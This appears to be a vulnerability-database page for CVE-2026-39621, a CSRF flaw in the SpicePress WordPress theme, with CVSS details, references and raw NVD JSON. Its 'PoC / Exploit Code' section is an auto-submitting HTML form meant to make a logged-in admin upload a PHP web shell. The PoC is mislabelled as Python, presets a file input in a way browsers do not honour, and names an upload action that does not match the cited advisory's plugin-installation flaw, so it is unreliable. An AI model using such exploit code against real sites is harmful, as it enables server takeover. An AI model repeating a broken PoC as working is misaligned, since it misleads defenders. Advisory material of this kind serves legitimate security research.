CVE-2026-39621

Description

Cross-Site Request Forgery (CSRF) vulnerability in spicethemes SpicePress spicepress allows Upload a Web Shell to a Web Server.This issue affects SpicePress: from n/a through <= 2.3.2.5.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SpicePress <= 2.3.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-39621 -->
<!-- This PoC demonstrates a CSRF attack to upload a web shell -->
<html>
  <body>
    <h1>Please wait while loading...</h1>
    <!-- The form targets the vulnerable upload action in SpicePress theme -->
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="spicepress_upload_file" />
      <!-- Simulate uploading a PHP web shell disguised as an image/plugin -->
      <input type="file" name="file" value="shell.php" />
      <input type="submit" value="Submit" />
    </form>
    
    <script>
      // Auto-submit the form to trigger the vulnerability when user visits the page
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39621
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39621
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39621/
[4] VulDB https://vuldb.com/cve/CVE-2026-39621
[5] https://patchstack.com/database/Wordpress/Theme/spicepress/vulnerability/wordpress-spicepress-theme-2-3-2-5-csrf-to-arbitrary-plugin-installation-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39621", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:32.270", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in spicethemes SpicePress spicepress allows Upload a Web Shell to a Web Server.This issue affects SpicePress: from n/a through <= 2.3.2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/spicepress/vulnerability/wordpress-spicepress-theme-2-3-2-5-csrf-to-arbitrary-plugin-installation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}